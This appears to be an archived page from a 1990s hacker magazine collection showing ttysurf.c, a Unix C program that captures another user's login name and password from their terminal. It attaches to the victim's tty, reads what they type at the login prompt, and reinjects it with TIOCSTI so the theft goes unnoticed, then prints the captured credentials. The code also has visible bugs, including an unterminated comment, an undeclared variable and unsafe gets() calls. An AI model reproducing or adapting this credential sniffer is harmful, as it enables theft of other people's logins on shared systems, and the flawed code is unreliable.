home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / HackAddict™ Magazine / HA 1-12 / HackAddict05.sit / HackAddict 5 ƒ / Files / UnixCPrograms / ttysurf.c < prev    next >
C/C++ Source or Header  |  1995-08-05  |  4KB  |  125 lines

  1. #include <stdio.h>
  2. #include <signal.h>
  3. #include <fcntl.h>
  4. #include <errno.h>
  5. #include <sys/types.h>
  6. #include <sys/termios.h>
  7.  
  8. #define DEBUG 1         /* Enable additional debugging info (needed!) */
  9. #define USLEEP          /* Define this if your UNIX supports usleep() */
  10.  
  11. #ifdef ULTRIX
  12. #define TCGETS TCGETP   /* Get termios structure */
  13. #define TCSETS TCSANOW  /* Set termios structure */
  14. #endif
  15.  
  16.  
  17. handler(signal)
  18.            int signal;             /* signalnumber */
  19. {                       /* do nothing, ignore the signal */
  20.         if(DEBUG) printf("Ignoring signal %d\n",signal);
  21. }
  22.  
  23. int readandpush(f,string)
  24. FILE *f;
  25. char *string;
  26. {
  27.         char *cp,*result;
  28.         int e;
  29.         struct termios termios;
  30.  
  31.         result=fgets(string,20,f);    /* Read a line into string */
  32.         if (result==NULL)
  33.         {       perror("fgets()");
  34.                 return(1);
  35.         }
  36.         if (DEBUG)
  37.         {       printf("String: %s\n",string);
  38.                 fflush(stdout);
  39.         }
  40.  
  41.         ioctl(0,TCGETS,&termios);       /* These 3 lines turn off input echo */
  42.  /*        echo = (termios.c_lflag & ECHO);      */
  43.         termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
  44.         ioctl(0,TCSETS,&termios);
  45.  
  46.         for (cp=string;*cp;cp++)        /* Push it back as input */
  47.         {       e=ioctl(0,TIOCSTI,cp);
  48.                 if(e<0)
  49.                 {       perror("ioctl()");
  50.                         return(1);
  51.                 }
  52.         }
  53.         return(0);
  54. }
  55.  
  56. main(argc,argv)
  57. int argc;
  58. char *argv[];
  59. {
  60.         /* variables */
  61.         int err;
  62.         FILE *f;
  63.         char *term      = "12345678901234567890";
  64.         char *login     = "12345678901234567890";
  65.         char *password  = "12345678901234567890";
  66.         if (argc < 2)
  67.         {       printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
  68.                 printf("Enter ttyname: ");
  69.                 gets(term);
  70.         }
  71.         else term=argv[argc-1];
  72.  
  73.         signal(SIGQUIT,handler);
  74.         signal(SIGINT,handler);
  75.         signal(SIGTERM,handler);
  76.         signal(SIGHUP,handler);
  77.         signal(SIGTTOU,handler);
  78.  
  79.         close(0);               /* close stdin */
  80. #ifdef ULTRIX
  81.         if(setpgrp(0,100)==-1)
  82.                 perror("setpgrp:");     /* Hopefully this works */
  83. #else
  84.         if(setsid()==-1)
  85.                 perror("setsid:"); /* Disconnect from our controlling TTY and
  86.                                    start a new session as sessionleader */
  87. #endif
  88.         f=fopen(term,"r");      /* Open tty as a stream, this guarantees
  89.                                            getting file descriptor 0 */
  90.         if (f==NULL)
  91.         {       printf("Error opening %s with fopen()\n",term);
  92.                 exit(2);
  93.         }
  94.         if (DEBUG) system("ps -xu>>/dev/null &");
  95.         fclose(f);              /* Close the TTY again */
  96.         f=fopen("/dev/tty","r");        /* We can now use /dev/tty instead */
  97.         if (f==NULL)
  98.         {       printf("Error opening /dev/tty with fopen()\n",term);
  99.                 exit(2);
  100.         }
  101.  
  102.         if(readandpush(f,login)==0)
  103.         {
  104. #ifdef USLEEP
  105.                 usleep(20000);  /* This gives login(1) a chance to read the
  106.                                    string, or the second call would read the
  107.                                    input that the first call pushed back ! /*
  108. #else
  109.                 for(i=0;i<1000;i++)
  110.                         err=err+(i*i)
  111.                            /* error        /* Alternatives not yet implemented */
  112. #endif
  113.                 readandpush(f,password);
  114.                 printf("Result: First: %s Second: %s\n",login,password);
  115.         }
  116.  
  117.         fflush(stdout);
  118.         sleep(30);      /* Waste some time, to prevent that we send a SIGHUP
  119.                            to login(1), which would kill the user. Instead,
  120.                            wait a while. We then send SIGHUP to the shell of
  121.                            the user, which will ignore it. */
  122.         fclose(f);
  123. }
  124.  
  125.